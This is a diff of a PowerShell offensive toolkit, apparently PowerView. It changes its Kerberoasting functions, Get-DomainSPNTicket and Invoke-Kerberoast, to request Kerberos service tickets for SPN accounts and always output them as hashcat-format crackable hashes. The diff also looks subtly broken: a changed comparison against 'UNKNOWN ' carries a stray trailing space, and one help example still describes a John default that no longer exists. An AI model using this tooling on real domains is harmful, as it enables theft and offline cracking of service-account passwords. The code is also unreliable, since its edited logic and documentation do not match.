@@ -2597,11 +2597,6 @@ Specifies the service principal name to request the ticket for.
2597
2597
2598
2598
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
2599
2599
2600
- .PARAMETER OutputFormat
2601
-
2602
- Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603
- Defaults to 'John'.
2604
-
2605
2600
.PARAMETER Credential
2606
2601
2607
2602
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2621,9 +2616,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
2621
2616
2622
2617
.EXAMPLE
2623
2618
2624
- Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2619
+ Get-DomainUser -SPN | Get-DomainSPNTicket
2625
2620
2626
- Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format .
2621
+ Request kerberos service tickets for all users with non-null SPNs.
2627
2622
2628
2623
.INPUTS
2629
2624
@@ -2658,11 +2653,6 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2658
2653
[Object[]]
2659
2654
$User,
2660
2655
2661
- [ValidateSet('John', 'Hashcat')]
2662
- [Alias('Format')]
2663
- [String]
2664
- $OutputFormat = 'John',
2665
-
2666
2656
[Management.Automation.PSCredential]
2667
2657
[Management.Automation.CredentialAttribute()]
2668
2658
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2722,20 +2712,16 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2722
2712
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2723
2713
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2724
2714
2725
- if ($OutputFormat -match 'John ') {
2726
- $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2715
+ if ($DistinguishedName -ne 'UNKNOWN ') {
2716
+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2727
2717
}
2728
2718
else {
2729
- if ($DistinguishedName -ne 'UNKNOWN') {
2730
- $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2731
- }
2732
- else {
2733
- $UserDomain = 'UNKNOWN'
2734
- }
2735
-
2736
- # hashcat output format
2737
- $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2719
+ $UserDomain = 'UNKNOWN'
2738
2720
}
2721
+
2722
+ # hashcat output format (and now John's)
2723
+ $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2724
+
2739
2725
$Out | Add-Member Noteproperty 'Hash' $HashFormat
2740
2726
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2741
2727
Write-Output $Out
@@ -2765,7 +2751,6 @@ Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-Domain
2765
2751
2766
2752
Uses Get-DomainUser to query for user accounts with non-null service principle
2767
2753
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
2768
- The ticket format can be specified with -OutputFormat <John/Hashcat>.
2769
2754
2770
2755
.PARAMETER Identity
2771
2756
@@ -2806,11 +2791,6 @@ Specifies the maximum amount of time the server spends searching. Default of 120
2806
2791
2807
2792
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
2808
2793
2809
- .PARAMETER OutputFormat
2810
-
2811
- Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2812
- Defaults to 'John'.
2813
-
2814
2794
.PARAMETER Credential
2815
2795
2816
2796
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2824,7 +2804,7 @@ Kerberoasts all found SPNs for the current domain.
2824
2804
2825
2805
.EXAMPLE
2826
2806
2827
- Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
2807
+ Invoke-Kerberoast -Domain dev.testlab.local | fl
2828
2808
2829
2809
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2830
2810
format instead of John (the default).
@@ -2887,11 +2867,6 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2887
2867
[Switch]
2888
2868
$Tombstone,
2889
2869
2890
- [ValidateSet('John', 'Hashcat')]
2891
- [Alias('Format')]
2892
- [String]
2893
- $OutputFormat = 'John',
2894
-
2895
2870
[Management.Automation.PSCredential]
2896
2871
[Management.Automation.CredentialAttribute()]
2897
2872
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2919,7 +2894,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2919
2894
2920
2895
PROCESS {
2921
2896
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2922
- Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
2897
+ Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
2923
2898
}
2924
2899
2925
2900
END {
0 commit comments